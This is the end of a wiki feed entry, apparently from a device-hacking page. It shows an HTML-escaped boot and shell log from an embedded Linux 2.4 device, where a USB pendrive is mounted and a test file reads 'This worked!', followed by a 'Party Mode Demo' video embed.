Attached scsi removable disk sda at scsi0, channel 0, id 0, lun 0&lt;br /&gt;
SCSI device sda: 31285248 512-byte hdwr sectors (16018 MB)&lt;br /&gt;
sda: Write Protect is off&lt;br /&gt;
Partition check:&lt;br /&gt;
 /dev/scsi/host0/bus0/target0/lun0: p1&lt;br /&gt;
modprobe: Can&amp;#039;t locate module /dev/sg1&lt;br /&gt;
modprobe: Can&amp;#039;t locate module /dev/sg2&lt;br /&gt;
modprobe: Can&amp;#039;t locate module /dev/sg3&lt;br /&gt;
modprobe: Can&amp;#039;t locate module /dev/sg4&lt;br /&gt;
modprobe: Can&amp;#039;t locate module /dev/sg5&lt;br /&gt;
modprobe: Can&amp;#039;t locate module /dev/sdb&lt;br /&gt;
modprobe: Can&amp;#039;t locate module /dev/sdc&lt;br /&gt;
modprobe: Can&amp;#039;t locate module /dev/sdd&lt;br /&gt;
modprobe: Can&amp;#039;t locate module /dev/sde&lt;br /&gt;
modprobe: Can&amp;#039;t locate module /dev/sdf&lt;br /&gt;
modprobe: modprobe: Can&amp;#039;t locate module nls_cp437&lt;br /&gt;
modprobe: modprobe: Can&amp;#039;t locate module nls_iso8859-1&lt;br /&gt;
modprobe: modprobe: Can&amp;#039;t locate module nls_iso8859-1&lt;br /&gt;
modprobe: modprobe: Can&amp;#039;t locate module nls_iso8859-1&lt;br /&gt;
ls /root&lt;br /&gt;
devel_install.sh  diditwork.txt     setdev.sh         setlog.sh&lt;br /&gt;
root@(none):~# cat /root/diditwork.txt &lt;br /&gt;
This worked!&lt;br /&gt;
root@(none):~# cat /tmp/usbstorage.log &lt;br /&gt;
+++ Starting USB (un)mounter script for device /proc/bus/usb/001/002&lt;br /&gt;
REM = /var/run/usb/%proc%bus%usb%001%002&lt;br /&gt;
Find and mount all attached usb storage devices&lt;br /&gt;
usb proc-fs yields SCSI host number=0 - suffix with zeroes (kernel 2.4)&lt;br /&gt;
Use sgmap to match 0:0:0:0.&lt;br /&gt;
Waiting for device id to appear...&lt;br /&gt;
SCSI disk for 0:0:0:0 is /dev/sda&lt;br /&gt;
Checking /mnt/sjmpendrives/1&lt;br /&gt;
Mountpoint /mnt/sjmpendrives/1 is free&lt;br /&gt;
Checking signature ... &lt;br /&gt;
node1 = /dev/sda1&lt;br /&gt;
Valid pendrive&lt;br /&gt;
Valid pendrive&lt;br /&gt;
Mounting /dev/sda1 on /mnt/sjmpendrives/1&lt;br /&gt;
/dev/sda1 is now mounted on /mnt/sjmpendrives/1&lt;br /&gt;
Launch application specific script&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Party Mode Demo ==&lt;br /&gt;
{{#ev:youtube|cNcGebu8NRs}}&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
</feed>